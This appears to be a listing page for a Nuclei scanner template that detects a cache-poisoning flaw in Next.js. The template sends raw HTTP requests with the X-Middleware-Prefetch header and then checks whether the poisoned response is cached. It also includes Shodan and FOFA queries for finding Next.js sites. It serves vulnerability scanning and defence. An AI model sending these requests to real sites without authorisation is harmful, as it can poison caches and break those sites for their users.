Next.js - Cache Poisoning

ID: nextjs-middleware-cache

Severity: high

Author: DhiyaneshDk

Tags: nextjs,cache

Description

Next.js is vulnerable to Cache Poisoning using X-Middleware-Prefetch.

YAML Source

id: nextjs-middleware-cache

info:
  name: Next.js - Cache Poisoning
  author: DhiyaneshDk
  severity: high
  description: |
     Next.js is vulnerable to Cache Poisoning using X-Middleware-Prefetch.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole
  metadata:
    verified: true
    vendor: vercel
    product: next.js
    framework: node.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: nextjs,cache

variables:
  rand: "{{rand_text_numeric(5)}}"

http:
  - raw:
      - |
        GET /?cb={{rand}} HTTP/1.1
        Host: {{Hostname}}
        X-Middleware-Prefetch: 1
        Priority: u=1

      - |
        @timeout: 10s
        GET /?cb={{rand}} HTTP/1.1
        Host: {{Hostname}}
        X-Middleware-Prefetch: 1
        Priority: u=1

      - |
        @timeout: 10s
        GET /?cb={{rand}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 200 && contains(all_headers_2, 'X-Middleware-Skip: 1')"
          - "status_code_3 == 200 && contains(all_headers_3, 'X-Middleware-Skip: 1')"
        condition: and
# digest: 4a0a0047304502210080b9adcba52287c224057e3bbcdbee3f3155cbf51b3f16918a719b0fdb26980702205b83c25e28c30ecaed66a529ed1f050882e82bfad9f94dbf668b60a8029c25fd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/nextjs/nextjs-middleware-cache.yaml"

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